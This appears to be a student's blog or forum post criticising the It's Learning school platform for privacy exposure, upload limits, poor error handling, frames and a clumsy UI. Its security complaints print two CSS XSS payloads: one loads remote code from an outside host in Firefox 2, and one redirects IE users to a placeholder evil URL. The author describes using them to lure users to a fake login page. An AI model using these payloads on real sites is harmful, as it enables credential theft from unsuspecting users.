Okay I'm sorry for calling it crap. Here are however some of the problems i face with It's Learning (ITSL):
Security holes, like this one: XSS hole. It is a security hole that you can post a link to a site which executes the code you ask it to execute. This is called an XSS hole.
My school is a unification of all kinds of schools, but driven by the same entity. So even if my school only has 300 students I can still contact the other 2700 other students. ITSL even provides me with a list of names. It is also possible to send messages to all these users. Here is the user list which anyone who can log in to my school have access too: user list. I see this as a security/privacy issue. I can see the list even if I'm not an administrator!
The Java upload does not work with files over ~30 MB. This has been a problem for a very long time.
Files over 200 MB can not be uploaded, for no apparent reason.
You can redirect Firefox 2 users with an exploit which has not been fixed yet. This is also a XSS hole. Here is the code: BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}I see this as a bug in ITSL, because they should encode and protect users from redirecting. For example I could post a forum post on ITSL where this code is included. I could then redirect people to a false login page and steal their credentials. I have tried it and I know it works. Another exploit which works on IE6 and IE7 is li {list-style-image: expression(top.document.location=unescape('<insert_evil_url>'))}</pre><ul>XS
You often get the generic server ASP.NET error, for no apparent reason. Error handling on ITSL is poor in general, but it is very frustrating when it comes up randomly.
Errors are very easily triggered, and the reason for the error is not explained. For example, lets call this script without parameters: http://www.itslearning.com/rss.aspx. On other corporate professional websites you would expect some kind of error page which would explain what the user should do and that the error has been reported. However on ITSL you just get a generic error page which Microsoft provided.
Layout is based on frames which are known to be a evil remnant of the 90's in web design. A page with frames does not scale very well, and it is difficult to change the contents of another frame. However, this is needed all the time, so ITSL will reload the whole frame container and the frames inside. But ITSL has to remember the course you were visiting, so this information is stored in sessions. This make the URL's short, but not uniform. This is against the whole purpose of URL's. They are supposed to be "Uniform resource locators". However, on ITSL you cannot provide a link to a page deep inside ITSL. If users are not logged in they will be redirected to the login page and when they are logged in they will not be forwarded. So they have to copy the link again and try visiting again. However this will probably not work either, because they have copied the URL of the frame container, and the receiver will therefore get a generic page instead. This could be a URL like "https://www.itslearning.com/main.aspx?StartUrl=main/mainmenu.aspx". It does not describe what page the user has navigated to inside the frames.
Old fashioned UI. For example when copying a couple of files on must first select them on a list. Then choose copy from a SELECT-box at the bottom of the page (no, i don't know how they could possibly choose a selectbox for that). The page reloads. Now they must choose the course to copy to in a new selectbox that has appeared. The page reloads again. Now the user must choose a directory in the course he wants to copy the files to. A button has appeared which says "OK" and the user must click that button. Now the files have been copied... I think this procedure speaks for itself; it is much too complicated.